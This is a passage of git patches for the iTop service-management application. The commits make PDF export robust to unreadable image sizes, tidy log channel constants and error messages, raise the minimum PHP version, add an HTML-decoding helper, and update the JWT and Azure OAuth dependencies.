1], 'URL param containing commas' => ['http://mydomain.prtg.com/chart.png?type=graph&width=1500&height=700&hide=2,3,6,7,8,9,10,11,12,13,14&graphstyling=showLegend%3D%271%27+baseFontSize%3D%2715%27&graphid=0&id=34759&username=portaluser&passhash=2353031973', 1], + // 'iTop anchors' => ['https://itsm-designer.combodo.com/pages/UI.php?operation=details&class=MigrationAuditCheckXPath&id=106&#ObjectProperties=tab_UIPropertiesTab', 1], // N°5121 ]; } } From 822922df5cd1d1d5f065e89f2fe47a82c07669cb Mon Sep 17 00:00:00 2001 From: Pierre Goiffon Date: Thu, 23 Feb 2023 11:45:29 +0100 Subject: [PATCH 141/230] =?UTF-8?q?N=C2=B05588=20-=20Improve=20PDF=20expor?= =?UTF-8?q?t=20robustness=20when=20AttributeImage=20dimensions=20cannot=20?= =?UTF-8?q?be=20determined=20(#350)?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Can happen for example on SVG images Now the export won't crash anymore, and we'll get a log (export channel, warning level) with the object and attribute causing a problem as context Co-authored-by: Molkobain --- core/log.class.inc.php | 6 ++++ core/pdfbulkexport.class.inc.php | 54 +++++++++++++++++++++++--------- 2 files changed, 46 insertions(+), 14 deletions(-) diff --git a/core/log.class.inc.php b/core/log.class.inc.php index df525d863..6596ffa91 100644 --- a/core/log.class.inc.php +++ b/core/log.class.inc.php @@ -549,6 +549,12 @@ class LogChannels const DEADLOCK = 'DeadLock'; + /** + * @var string + * @since 2.7.9 + */ + const EXPORT = 'export'; + const INLINE_IMAGE = 'InlineImage'; /** diff --git a/core/pdfbulkexport.class.inc.php b/core/pdfbulkexport.class.inc.php index 629c1fd59..eb4aa15f4 100644 --- a/core/pdfbulkexport.class.inc.php +++ b/core/pdfbulkexport.class.inc.php @@ -216,28 +216,33 @@ EOF // As sample data will be displayed in the web browser, AttributeImage needs to be rendered with a regular HTML format, meaning its "src" looking like "data:image/png;base64,iVBORw0KGgoAAAANSUh..." // Whereas for the PDF generation it needs to be rendered with a TCPPDF-compatible format, meaning its "src" looking like "@iVBORw0KGgoAAAANSUh..." if ($oAttDef instanceof AttributeImage) { - return $this->GetAttributeImageValue($oAttDef, $oObj->Get($sAttCode), static::ENUM_OUTPUT_TYPE_SAMPLE); + return $this->GetAttributeImageValue($oObj, $sAttCode, static::ENUM_OUTPUT_TYPE_SAMPLE); } } return parent::GetSampleData($oObj, $sAttCode); } + /** + * @param \DBObject $oObj + * @param string $sAttCode + * + * @return int|string + * @throws \Exception + */ protected function GetValue($oObj, $sAttCode) { - switch($sAttCode) - { + switch ($sAttCode) { case 'id': $sRet = parent::GetValue($oObj, $sAttCode); break; default: $value = $oObj->Get($sAttCode); - if ($value instanceof ormDocument) - { + if ($value instanceof ormDocument) { $oAttDef = MetaModel::GetAttributeDef(get_class($oObj), $sAttCode); if ($oAttDef instanceof AttributeImage) { - $sRet = $this->GetAttributeImageValue($oAttDef, $value, static::ENUM_OUTPUT_TYPE_REAL); + $sRet = $this->GetAttributeImageValue($oObj, $sAttCode, static::ENUM_OUTPUT_TYPE_REAL); } else { @@ -268,15 +273,22 @@ EOF } /** - * @param \AttributeImage $oAttDef Instance of image attribute - * @param \ormDocument $oValue Value of image attribute + * @param \DBObject $oObj + * @param string $sAttCode * @param string $sOutputType {@see \PDFBulkExport::ENUM_OUTPUT_TYPE_SAMPLE}, {@see \PDFBulkExport::ENUM_OUTPUT_TYPE_REAL} * * @return string Rendered value of $oAttDef / $oValue according to the desired $sOutputType - * @since 2.7.8 + * @throws \ArchivedObjectException + * @throws \CoreException + * + * @since 2.7.8 N°2244 method creation + * @since 2.7.9 N°5588 signature change to get the object so that we can log all the needed information */ - protected function GetAttributeImageValue(AttributeImage $oAttDef, ormDocument $oValue, string $sOutputType) + protected function GetAttributeImageValue(DBObject $oObj, string $sAttCode, string $sOutputType) { + $oValue = $oObj->Get($sAttCode); + $oAttDef = MetaModel::GetAttributeDef(get_class($oObj), $sAttCode); + // To limit the image size in the PDF output, we have to enforce the size as height/width because max-width/max-height have no effect // $iDefaultMaxWidthPx = 48; @@ -287,13 +299,27 @@ EOF $sUrl = $oAttDef->Get('default_image'); } else { - list($iWidth, $iHeight) = utils::GetImageSize($oValue->GetData()); $iMaxWidthPx = min($iDefaultMaxWidthPx, $oAttDef->Get('display_max_width')); $iMaxHeightPx = min($iDefaultMaxHeightPx, $oAttDef->Get('display_max_height')); - $fScale = min($iMaxWidthPx / $iWidth, $iMaxHeightPx / $iHeight); - $iNewWidth = $iWidth * $fScale; - $iNewHeight = $iHeight * $fScale; + list($iWidth, $iHeight) = utils::GetImageSize($oValue->GetData()); + if ((is_null($iWidth)) || (is_null($iHeight)) || ($iWidth === 0) || ($iHeight === 0)) { + // Avoid division by zero exception (SVGs, corrupted images, ...) + $iNewWidth = $iDefaultMaxWidthPx; + $iNewHeight = $iDefaultMaxHeightPx; + + $sAttCode = $oAttDef->GetCode(); + IssueLog::Warning('AttributeImage: Cannot read image size', LogChannels::EXPORT, [ + 'ObjClass' => get_class($oObj), + 'ObjKey' => $oObj->GetKey(), + 'ObjFriendlyName' => $oObj->GetName(), + 'AttCode' => $sAttCode, + ]); + } else { + $fScale = min($iMaxWidthPx / $iWidth, $iMaxHeightPx / $iHeight); + $iNewWidth = $iWidth * $fScale; + $iNewHeight = $iHeight * $fScale; + } $sValueAsBase64 = base64_encode($oValue->GetData()); switch ($sOutputType) { From d40cf7fe3b8a4d26c12b220328fe39dfdb28e583 Mon Sep 17 00:00:00 2001 From: Pierre Goiffon Date: Thu, 23 Feb 2023 11:52:19 +0100 Subject: [PATCH 142/230] ReOrder LogChannels const --- core/log.class.inc.php | 16 ++++++++-------- 1 file changed, 8 insertions(+), 8 deletions(-) diff --git a/core/log.class.inc.php b/core/log.class.inc.php index 2e4016c1f..486484218 100644 --- a/core/log.class.inc.php +++ b/core/log.class.inc.php @@ -544,13 +544,6 @@ class LogChannels { public const APC = 'apc'; - /** - * @var string - * @since 3.0.1 N°4849 - * @since 2.7.7 N°4635 - */ - public const NOTIFICATIONS = 'notifications'; - /** * @since 3.0.0 */ @@ -577,9 +570,16 @@ class LogChannels * @since 2.7.9 3.0.3 3.1.0 N°5588 */ public const EXPORT = 'export'; - + public const INLINE_IMAGE = 'InlineImage'; + /** + * @var string + * @since 3.0.1 N°4849 + * @since 2.7.7 N°4635 + */ + public const NOTIFICATIONS = 'notifications'; + public const PORTAL = 'portal'; } From 94c4f8c929dac5ceed7ae956182eb2c85e00cee2 Mon Sep 17 00:00:00 2001 From: Pierre Goiffon Date: Thu, 23 Feb 2023 12:04:56 +0100 Subject: [PATCH 143/230] =?UTF-8?q?N=C2=B06016=20MissingDependencyExceptio?= =?UTF-8?q?n=20:=20better=20log=20message=20(#355)?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit The error displayed on screen was already improved (see #280) This commit improves the log message we can have for example by running unattended install. --- setup/modulediscovery.class.inc.php | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/setup/modulediscovery.class.inc.php b/setup/modulediscovery.class.inc.php index dc22780e7..4dd2e281a 100644 --- a/setup/modulediscovery.class.inc.php +++ b/setup/modulediscovery.class.inc.php @@ -31,7 +31,7 @@ class MissingDependencyException extends CoreException /** * @return string HTML to print to the user the modules impacted - * @since 2.7.7 3.0.2 3.1.0 PR #280 + * @since 2.7.7 3.0.2 3.1.0 N°5090 PR #280 */ public function getHtmlDesc($sHighlightHtmlBegin = null, $sHighlightHtmlEnd = null) { @@ -254,10 +254,10 @@ class ModuleDiscovery foreach($aDependencies as $sId => $aDeps) { $aModule = $aModules[$sId]; - $aModuleDeps[] = "{$aModule['label']} (id: $sId) depends on ".implode(' + ', $aDeps); + $aModuleDeps[] = "{$aModule['label']} (id: $sId) depends on: ".implode(' + ', $aDeps); $aModulesInfo[$sId] = array('module' => $aModule, 'dependencies' => $aDeps); } - $sMessage = "The following modules have unmet dependencies: ".implode(', ', $aModuleDeps); + $sMessage = "The following modules have unmet dependencies:\n".implode(",\n", $aModuleDeps); $oException = new MissingDependencyException($sMessage); $oException->aModulesInfo = $aModulesInfo; throw $oException; From 18ed5ed526d7f980fb52e936c0d1ddb3062172fb Mon Sep 17 00:00:00 2001 From: Molkobain Date: Thu, 23 Feb 2023 14:53:05 +0100 Subject: [PATCH 144/230] =?UTF-8?q?N=C2=B06019=20-=20Increase=20PHP=20min?= =?UTF-8?q?=20version=20to=207.1.3=20to=20enable=20dependencies=20update?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- composer.json | 4 ++-- setup/setuputils.class.inc.php | 2 +- 2 files changed, 3 insertions(+), 3 deletions(-) diff --git a/composer.json b/composer.json index f2c3d87a1..ad2ecbabd 100644 --- a/composer.json +++ b/composer.json @@ -4,7 +4,7 @@ "type": "project", "license": "AGPL-3.0-only", "require": { - "php": ">=7.0.8", + "php": ">=7.1.3", "ext-ctype": "*", "ext-dom": "*", "ext-gd": "*", @@ -44,7 +44,7 @@ }, "config": { "platform": { - "php": "7.0.8" + "php": "7.1.3" }, "vendor-dir": "lib", "preferred-install": { diff --git a/setup/setuputils.class.inc.php b/setup/setuputils.class.inc.php index 1ba6b9c35..e45dd62c9 100644 --- a/setup/setuputils.class.inc.php +++ b/setup/setuputils.class.inc.php @@ -50,7 +50,7 @@ class CheckResult class SetupUtils { // -- Minimum versions (requirements : forbids installation if not met) - const PHP_MIN_VERSION = '7.0.8'; // 7.0 for embedded libs, see N°3129 + const PHP_MIN_VERSION = '7.1.3'; // 7.1 for embedded libs, see N°6019 const MYSQL_MIN_VERSION = '5.6.0'; // 5.6 to have fulltext on InnoDB for Tags fields (N°931) const MYSQL_NOT_VALIDATED_VERSION = ''; // MySQL 8 is now OK (N°2010 in 2.7.0) but has no query cache so mind the perf on large volumes ! From 93aee5883bcf84b4f11740a58c5b17cfc9713cb6 Mon Sep 17 00:00:00 2001 From: Pierre Goiffon Date: Thu, 23 Feb 2023 15:17:46 +0100 Subject: [PATCH 145/230] =?UTF-8?q?N=C2=B06020=20New=20\utils::EscapedHtml?= =?UTF-8?q?Decode=20method?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- application/utils.inc.php | 25 +++++++++++++++++++++---- 1 file changed, 21 insertions(+), 4 deletions(-) diff --git a/application/utils.inc.php b/application/utils.inc.php index 439b565f3..dc2f2d1d8 100644 --- a/application/utils.inc.php +++ b/application/utils.inc.php @@ -1864,20 +1864,37 @@ class utils return html_entity_decode($sValue, ENT_QUOTES, 'UTF-8'); } + /** + * @param string $sValue value encoded with {@see self::EscapeHtml()} + * + * @return string decoded value + * + * @uses \htmlspecialchars_decode() + * @link https://www.php.net/manual/en/function.htmlspecialchars-decode.php + * @since 3.0.3 3.1.0 N°6020 method creation + */ + public static function EscapedHtmlDecode($sValue) + { + return htmlspecialchars_decode( + $sValue, + ENT_QUOTES | ENT_DISALLOWED | ENT_HTML5 + ); + } + /** * Convert a string containing some (valid) HTML markup to plain text + * * @param string $sHtml + * * @return string */ public static function HtmlToText($sHtml) { - try - { + try { //return ''.$sHtml; return \Html2Text\Html2Text::convert(''.$sHtml); } - catch(Exception $e) - { + catch (Exception $e) { return $e->getMessage(); } } From 97965277c73393ea779bafa752cdee6a8d70e4d6 Mon Sep 17 00:00:00 2001 From: Molkobain Date: Thu, 23 Feb 2023 15:57:32 +0100 Subject: [PATCH 146/230] =?UTF-8?q?N=C2=B06017=20-=20Update=20OAuth=20depe?= =?UTF-8?q?ndencies?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- composer.json | 1 + composer.lock | 48 ++- lib/composer/InstalledVersions.php | 16 +- lib/composer/autoload_classmap.php | 2 + lib/composer/autoload_static.php | 2 + lib/composer/installed.json | 44 +- lib/composer/installed.php | 146 +++---- lib/composer/platform_check.php | 4 +- lib/firebase/php-jwt/CHANGELOG.md | 105 +++++ lib/firebase/php-jwt/README.md | 209 ++++++---- lib/firebase/php-jwt/composer.json | 12 +- lib/firebase/php-jwt/src/CachedKeySet.php | 258 ++++++++++++ lib/firebase/php-jwt/src/JWK.php | 201 +++++++-- lib/firebase/php-jwt/src/JWT.php | 383 ++++++++++-------- lib/firebase/php-jwt/src/Key.php | 35 +- lib/thenetworg/oauth2-azure/.gitignore | 4 + lib/thenetworg/oauth2-azure/README.md | 2 +- lib/thenetworg/oauth2-azure/composer.json | 6 +- .../oauth2-azure/src/Provider/Azure.php | 82 +++- .../oauth2-azure/src/Token/AccessToken.php | 21 + 20 files changed, 1137 insertions(+), 444 deletions(-) create mode 100644 lib/firebase/php-jwt/CHANGELOG.md create mode 100644 lib/firebase/php-jwt/src/CachedKeySet.php diff --git a/composer.json b/composer.json index ad2ecbabd..485726bfc 100644 --- a/composer.json +++ b/composer.json @@ -13,6 +13,7 @@ "ext-mysqli": "*", "ext-soap": "*", "combodo/tcpdf": "~6.4.4", + "firebase/php-jwt": "~6.4.0", "guzzlehttp/guzzle": "^6.5.8", "laminas/laminas-mail": "^2.11", "laminas/laminas-servicemanager": "^3.5", diff --git a/composer.lock b/composer.lock index 234dfcd6c..d9ba5d8de 100644 --- a/composer.lock +++ b/composer.lock @@ -4,7 +4,7 @@ "Read more about it at https://getcomposer.org/doc/01-basic-usage.md#installing-dependencies", "This file is @generated automatically" ], - "content-hash": "8415e71a4288813b5a5d82ec4a00216b", + "content-hash": "e5c0746c3d1bb9df9151c910e8f50955", "packages": [ { "name": "combodo/tcpdf", @@ -254,25 +254,31 @@ }, { "name": "firebase/php-jwt", - "version": "v5.5.1", + "version": "v6.4.0", "source": { "type": "git", "url": "https://github.com/firebase/php-jwt.git", - "reference": "83b609028194aa042ea33b5af2d41a7427de80e6" + "reference": "4dd1e007f22a927ac77da5a3fbb067b42d3bc224" }, "dist": { "type": "zip", - "url": "https://api.github.com/repos/firebase/php-jwt/zipball/83b609028194aa042ea33b5af2d41a7427de80e6", - "reference": "83b609028194aa042ea33b5af2d41a7427de80e6", + "url": "https://api.github.com/repos/firebase/php-jwt/zipball/4dd1e007f22a927ac77da5a3fbb067b42d3bc224", + "reference": "4dd1e007f22a927ac77da5a3fbb067b42d3bc224", "shasum": "" }, "require": { - "php": ">=5.3.0" + "php": "^7.1||^8.0" }, "require-dev": { - "phpunit/phpunit": ">=4.8 <=9" + "guzzlehttp/guzzle": "^6.5||^7.4", + "phpspec/prophecy-phpunit": "^1.1", + "phpunit/phpunit": "^7.5||^9.5", + "psr/cache": "^1.0||^2.0", + "psr/http-client": "^1.0", + "psr/http-factory": "^1.0" }, "suggest": { + "ext-sodium": "Support EdDSA (Ed25519) signatures", "paragonie/sodium_compat": "Support EdDSA (Ed25519) signatures when libsodium is not present" }, "type": "library", @@ -305,9 +311,9 @@ ], "support": { "issues": "https://github.com/firebase/php-jwt/issues", - "source": "https://github.com/firebase/php-jwt/tree/v5.5.1" + "source": "https://github.com/firebase/php-jwt/tree/v6.4.0" }, - "time": "2021-11-08T20:18:51+00:00" + "time": "2023-02-09T21:01:23+00:00" }, { "name": "guzzlehttp/guzzle", @@ -4333,22 +4339,24 @@ }, { "name": "thenetworg/oauth2-azure", - "version": "v2.0.1", + "version": "v2.1.1", "source": { "type": "git", "url": "https://github.com/TheNetworg/oauth2-azure.git", - "reference": "2649422a0dc74af32d21d9d738d37abcd5b03998" + "reference": "06fb2d620fb6e6c934f632c7ec7c5ea2e978a844" }, "dist": { "type": "zip", - "url": "https://api.github.com/repos/TheNetworg/oauth2-azure/zipball/2649422a0dc74af32d21d9d738d37abcd5b03998", - "reference": "2649422a0dc74af32d21d9d738d37abcd5b03998", + "url": "https://api.github.com/repos/TheNetworg/oauth2-azure/zipball/06fb2d620fb6e6c934f632c7ec7c5ea2e978a844", + "reference": "06fb2d620fb6e6c934f632c7ec7c5ea2e978a844", "shasum": "" }, "require": { - "firebase/php-jwt": "~3.0||~4.0||~5.0", + "ext-json": "*", + "ext-openssl": "*", + "firebase/php-jwt": "~3.0||~4.0||~5.0||~6.0", "league/oauth2-client": "~2.0", - "php": "^5.6|^7.0|^8.0" + "php": "^7.1|^8.0" }, "type": "library", "autoload": { @@ -4382,9 +4390,9 @@ ], "support": { "issues": "https://github.com/TheNetworg/oauth2-azure/issues", - "source": "https://github.com/TheNetworg/oauth2-azure/tree/v2.0.1" + "source": "https://github.com/TheNetworg/oauth2-azure/tree/v2.1.1" }, - "time": "2021-01-11T12:20:12+00:00" + "time": "2022-06-23T10:35:36+00:00" }, { "name": "true/punycode", @@ -4736,7 +4744,7 @@ "prefer-stable": false, "prefer-lowest": false, "platform": { - "php": ">=7.0.8", + "php": ">=7.1.3", "ext-ctype": "*", "ext-dom": "*", "ext-gd": "*", @@ -4747,7 +4755,7 @@ }, "platform-dev": [], "platform-overrides": { - "php": "7.0.8" + "php": "7.1.3" }, - "plugin-api-version": "2.3.0" + "plugin-api-version": "2.1.0" } diff --git a/lib/composer/InstalledVersions.php b/lib/composer/InstalledVersions.php index c6b54af7b..d50e0c9fc 100644 --- a/lib/composer/InstalledVersions.php +++ b/lib/composer/InstalledVersions.php @@ -21,14 +21,12 @@ use Composer\Semver\VersionParser; * See also https://getcomposer.org/doc/07-runtime.md#installed-versions * * To require its presence, you can require `composer-runtime-api ^2.0` - * - * @final */ class InstalledVersions { /** * @var mixed[]|null - * @psalm-var array{root: array{name: string, pretty_version: string, version: string, reference: string|null, type: string, install_path: string, aliases: string[], dev: bool}, versions: array}|array{}|null + * @psalm-var array{root: array{name: string, version: string, reference: string, pretty_version: string, aliases: string[], dev: bool, install_path: string, type: string}, versions: array}|array{}|null */ private static $installed; @@ -39,7 +37,7 @@ class InstalledVersions /** * @var array[] - * @psalm-var array}> + * @psalm-var array}> */ private static $installedByVendor = array(); @@ -243,7 +241,7 @@ class InstalledVersions /** * @return array - * @psalm-return array{name: string, pretty_version: string, version: string, reference: string|null, type: string, install_path: string, aliases: string[], dev: bool} + * @psalm-return array{name: string, version: string, reference: string, pretty_version: string, aliases: string[], dev: bool, install_path: string, type: string} */ public static function getRootPackage() { @@ -257,7 +255,7 @@ class InstalledVersions * * @deprecated Use getAllRawData() instead which returns all datasets for all autoloaders present in the process. getRawData only returns the first dataset loaded, which may not be what you expect. * @return array[] - * @psalm-return array{root: array{name: string, pretty_version: string, version: string, reference: string|null, type: string, install_path: string, aliases: string[], dev: bool}, versions: array} + * @psalm-return array{root: array{name: string, version: string, reference: string, pretty_version: string, aliases: string[], dev: bool, install_path: string, type: string}, versions: array} */ public static function getRawData() { @@ -280,7 +278,7 @@ class InstalledVersions * Returns the raw data of all installed.php which are currently loaded for custom implementations * * @return array[] - * @psalm-return list}> + * @psalm-return list}> */ public static function getAllRawData() { @@ -303,7 +301,7 @@ class InstalledVersions * @param array[] $data A vendor/composer/installed.php data set * @return void * - * @psalm-param array{root: array{name: string, pretty_version: string, version: string, reference: string|null, type: string, install_path: string, aliases: string[], dev: bool}, versions: array} $data + * @psalm-param array{root: array{name: string, version: string, reference: string, pretty_version: string, aliases: string[], dev: bool, install_path: string, type: string}, versions: array} $data */ public static function reload($data) { @@ -313,7 +311,7 @@ class InstalledVersions /** * @return array[] - * @psalm-return list}> + * @psalm-return list}> */ private static function getInstalled() { diff --git a/lib/composer/autoload_classmap.php b/lib/composer/autoload_classmap.php index 08653fc66..c8dd00172 100644 --- a/lib/composer/autoload_classmap.php +++ b/lib/composer/autoload_classmap.php @@ -338,6 +338,7 @@ return array( 'FilterFromAttribute' => $baseDir . '/core/filterdef.class.inc.php', 'FilterPrivateKey' => $baseDir . '/core/filterdef.class.inc.php', 'Firebase\\JWT\\BeforeValidException' => $vendorDir . '/firebase/php-jwt/src/BeforeValidException.php', + 'Firebase\\JWT\\CachedKeySet' => $vendorDir . '/firebase/php-jwt/src/CachedKeySet.php', 'Firebase\\JWT\\ExpiredException' => $vendorDir . '/firebase/php-jwt/src/ExpiredException.php', 'Firebase\\JWT\\JWK' => $vendorDir . '/firebase/php-jwt/src/JWK.php', 'Firebase\\JWT\\JWT' => $vendorDir . '/firebase/php-jwt/src/JWT.php', @@ -825,6 +826,7 @@ return array( 'MySQLHasGoneAwayException' => $baseDir . '/core/cmdbsource.class.inc.php', 'MySQLNoTransactionException' => $baseDir . '/core/cmdbsource.class.inc.php', 'MySQLQueryHasNoResultException' => $baseDir . '/core/cmdbsource.class.inc.php', + 'MySQLTransactionNotClosedException' => $baseDir . '/core/cmdbsource.class.inc.php', 'NestedQueryExpression' => $baseDir . '/core/oql/expression.class.inc.php', 'NestedQueryOqlExpression' => $baseDir . '/core/oql/oqlquery.class.inc.php', 'NewObjectMenuNode' => $baseDir . '/application/menunode.class.inc.php', diff --git a/lib/composer/autoload_static.php b/lib/composer/autoload_static.php index d7b35becd..4e2ed1232 100644 --- a/lib/composer/autoload_static.php +++ b/lib/composer/autoload_static.php @@ -706,6 +706,7 @@ class ComposerStaticInit0018331147de7601e7552f7da8e3bb8b 'FilterFromAttribute' => __DIR__ . '/../..' . '/core/filterdef.class.inc.php', 'FilterPrivateKey' => __DIR__ . '/../..' . '/core/filterdef.class.inc.php', 'Firebase\\JWT\\BeforeValidException' => __DIR__ . '/..' . '/firebase/php-jwt/src/BeforeValidException.php', + 'Firebase\\JWT\\CachedKeySet' => __DIR__ . '/..' . '/firebase/php-jwt/src/CachedKeySet.php', 'Firebase\\JWT\\ExpiredException' => __DIR__ . '/..' . '/firebase/php-jwt/src/ExpiredException.php', 'Firebase\\JWT\\JWK' => __DIR__ . '/..' . '/firebase/php-jwt/src/JWK.php', 'Firebase\\JWT\\JWT' => __DIR__ . '/..' . '/firebase/php-jwt/src/JWT.php', @@ -1193,6 +1194,7 @@ class ComposerStaticInit0018331147de7601e7552f7da8e3bb8b 'MySQLHasGoneAwayException' => __DIR__ . '/../..' . '/core/cmdbsource.class.inc.php', 'MySQLNoTransactionException' => __DIR__ . '/../..' . '/core/cmdbsource.class.inc.php', 'MySQLQueryHasNoResultException' => __DIR__ . '/../..' . '/core/cmdbsource.class.inc.php', + 'MySQLTransactionNotClosedException' => __DIR__ . '/../..' . '/core/cmdbsource.class.inc.php', 'NestedQueryExpression' => __DIR__ . '/../..' . '/core/oql/expression.class.inc.php', 'NestedQueryOqlExpression' => __DIR__ . '/../..' . '/core/oql/oqlquery.class.inc.php', 'NewObjectMenuNode' => __DIR__ . '/../..' . '/application/menunode.class.inc.php', diff --git a/lib/composer/installed.json b/lib/composer/installed.json index af1054fca..1d7f992bc 100644 --- a/lib/composer/installed.json +++ b/lib/composer/installed.json @@ -260,29 +260,35 @@ }, { "name": "firebase/php-jwt", - "version": "v5.5.1", - "version_normalized": "5.5.1.0", + "version": "v6.4.0", + "version_normalized": "6.4.0.0", "source": { "type": "git", "url": "https://github.com/firebase/php-jwt.git", - "reference": "83b609028194aa042ea33b5af2d41a7427de80e6" + "reference": "4dd1e007f22a927ac77da5a3fbb067b42d3bc224" }, "dist": { "type": "zip", - "url": "https://api.github.com/repos/firebase/php-jwt/zipball/83b609028194aa042ea33b5af2d41a7427de80e6", - "reference": "83b609028194aa042ea33b5af2d41a7427de80e6", + "url": "https://api.github.com/repos/firebase/php-jwt/zipball/4dd1e007f22a927ac77da5a3fbb067b42d3bc224", + "reference": "4dd1e007f22a927ac77da5a3fbb067b42d3bc224", "shasum": "" }, "require": { - "php": ">=5.3.0" + "php": "^7.1||^8.0" }, "require-dev": { - "phpunit/phpunit": ">=4.8 <=9" + "guzzlehttp/guzzle": "^6.5||^7.4", + "phpspec/prophecy-phpunit": "^1.1", + "phpunit/phpunit": "^7.5||^9.5", + "psr/cache": "^1.0||^2.0", + "psr/http-client": "^1.0", + "psr/http-factory": "^1.0" }, "suggest": { + "ext-sodium": "Support EdDSA (Ed25519) signatures", "paragonie/sodium_compat": "Support EdDSA (Ed25519) signatures when libsodium is not present" }, - "time": "2021-11-08T20:18:51+00:00", + "time": "2023-02-09T21:01:23+00:00", "type": "library", "installation-source": "dist", "autoload": { @@ -314,7 +320,7 @@ ], "support": { "issues": "https://github.com/firebase/php-jwt/issues", - "source": "https://github.com/firebase/php-jwt/tree/v5.5.1" + "source": "https://github.com/firebase/php-jwt/tree/v6.4.0" }, "install-path": "../firebase/php-jwt" }, @@ -4708,25 +4714,27 @@ }, { "name": "thenetworg/oauth2-azure", - "version": "v2.0.1", - "version_normalized": "2.0.1.0", + "version": "v2.1.1", + "version_normalized": "2.1.1.0", "source": { "type": "git", "url": "https://github.com/TheNetworg/oauth2-azure.git", - "reference": "2649422a0dc74af32d21d9d738d37abcd5b03998" + "reference": "06fb2d620fb6e6c934f632c7ec7c5ea2e978a844" }, "dist": { "type": "zip", - "url": "https://api.github.com/repos/TheNetworg/oauth2-azure/zipball/2649422a0dc74af32d21d9d738d37abcd5b03998", - "reference": "2649422a0dc74af32d21d9d738d37abcd5b03998", + "url": "https://api.github.com/repos/TheNetworg/oauth2-azure/zipball/06fb2d620fb6e6c934f632c7ec7c5ea2e978a844", + "reference": "06fb2d620fb6e6c934f632c7ec7c5ea2e978a844", "shasum": "" }, "require": { - "firebase/php-jwt": "~3.0||~4.0||~5.0", + "ext-json": "*", + "ext-openssl": "*", + "firebase/php-jwt": "~3.0||~4.0||~5.0||~6.0", "league/oauth2-client": "~2.0", - "php": "^5.6|^7.0|^8.0" + "php": "^7.1|^8.0" }, - "time": "2021-01-11T12:20:12+00:00", + "time": "2022-06-23T10:35:36+00:00", "type": "library", "installation-source": "dist", "autoload": { @@ -4760,7 +4768,7 @@ ], "support": { "issues": "https://github.com/TheNetworg/oauth2-azure/issues", - "source": "https://github.com/TheNetworg/oauth2-azure/tree/v2.0.1" + "source": "https://github.com/TheNetworg/oauth2-azure/tree/v2.1.1" }, "install-path": "../thenetworg/oauth2-azure" }, diff --git a/lib/composer/installed.php b/lib/composer/installed.php index 5ba7d993f..d2879be17 100644 --- a/lib/composer/installed.php +++ b/lib/composer/installed.php @@ -1,40 +1,40 @@ array( - 'name' => 'combodo/itop', 'pretty_version' => 'dev-develop', 'version' => 'dev-develop', - 'reference' => 'd388c3fd3d2a11983b61d268b2323a4ff0d0dbcb', 'type' => 'project', 'install_path' => __DIR__ . '/../../', 'aliases' => array(), + 'reference' => '18ed5ed526d7f980fb52e936c0d1ddb3062172fb', + 'name' => 'combodo/itop', 'dev' => true, ), 'versions' => array( 'combodo/itop' => array( 'pretty_version' => 'dev-develop', 'version' => 'dev-develop', - 'reference' => 'd388c3fd3d2a11983b61d268b2323a4ff0d0dbcb', 'type' => 'project', 'install_path' => __DIR__ . '/../../', 'aliases' => array(), + 'reference' => '18ed5ed526d7f980fb52e936c0d1ddb3062172fb', 'dev_requirement' => false, ), 'combodo/tcpdf' => array( 'pretty_version' => '6.4.4', 'version' => '6.4.4.0', - 'reference' => '0e31c013ccd000aa6762e9186778aa6e259ac8e8', 'type' => 'library', 'install_path' => __DIR__ . '/../combodo/tcpdf', 'aliases' => array(), + 'reference' => '0e31c013ccd000aa6762e9186778aa6e259ac8e8', 'dev_requirement' => false, ), 'container-interop/container-interop' => array( 'pretty_version' => '1.2.0', 'version' => '1.2.0.0', - 'reference' => '79cbf1341c22ec75643d841642dd5d6acd83bdb8', 'type' => 'library', 'install_path' => __DIR__ . '/../container-interop/container-interop', 'aliases' => array(), + 'reference' => '79cbf1341c22ec75643d841642dd5d6acd83bdb8', 'dev_requirement' => false, ), 'container-interop/container-interop-implementation' => array( @@ -46,208 +46,208 @@ 'doctrine/lexer' => array( 'pretty_version' => '1.0.2', 'version' => '1.0.2.0', - 'reference' => '1febd6c3ef84253d7c815bed85fc622ad207a9f8', 'type' => 'library', 'install_path' => __DIR__ . '/../doctrine/lexer', 'aliases' => array(), + 'reference' => '1febd6c3ef84253d7c815bed85fc622ad207a9f8', 'dev_requirement' => false, ), 'egulias/email-validator' => array( 'pretty_version' => '2.1.25', 'version' => '2.1.25.0', - 'reference' => '0dbf5d78455d4d6a41d186da50adc1122ec066f4', 'type' => 'library', 'install_path' => __DIR__ . '/../egulias/email-validator', 'aliases' => array(), + 'reference' => '0dbf5d78455d4d6a41d186da50adc1122ec066f4', 'dev_requirement' => false, ), 'firebase/php-jwt' => array( - 'pretty_version' => 'v5.5.1', - 'version' => '5.5.1.0', - 'reference' => '83b609028194aa042ea33b5af2d41a7427de80e6', + 'pretty_version' => 'v6.4.0', + 'version' => '6.4.0.0', 'type' => 'library', 'install_path' => __DIR__ . '/../firebase/php-jwt', 'aliases' => array(), + 'reference' => '4dd1e007f22a927ac77da5a3fbb067b42d3bc224', 'dev_requirement' => false, ), 'guzzlehttp/guzzle' => array( 'pretty_version' => '6.5.8', 'version' => '6.5.8.0', - 'reference' => 'a52f0440530b54fa079ce76e8c5d196a42cad981', 'type' => 'library', 'install_path' => __DIR__ . '/../guzzlehttp/guzzle', 'aliases' => array(), + 'reference' => 'a52f0440530b54fa079ce76e8c5d196a42cad981', 'dev_requirement' => false, ), 'guzzlehttp/promises' => array( 'pretty_version' => '1.5.1', 'version' => '1.5.1.0', - 'reference' => 'fe752aedc9fd8fcca3fe7ad05d419d32998a06da', 'type' => 'library', 'install_path' => __DIR__ . '/../guzzlehttp/promises', 'aliases' => array(), + 'reference' => 'fe752aedc9fd8fcca3fe7ad05d419d32998a06da', 'dev_requirement' => false, ), 'guzzlehttp/psr7' => array( 'pretty_version' => '1.9.0', 'version' => '1.9.0.0', - 'reference' => 'e98e3e6d4f86621a9b75f623996e6bbdeb4b9318', 'type' => 'library', 'install_path' => __DIR__ . '/../guzzlehttp/psr7', 'aliases' => array(), + 'reference' => 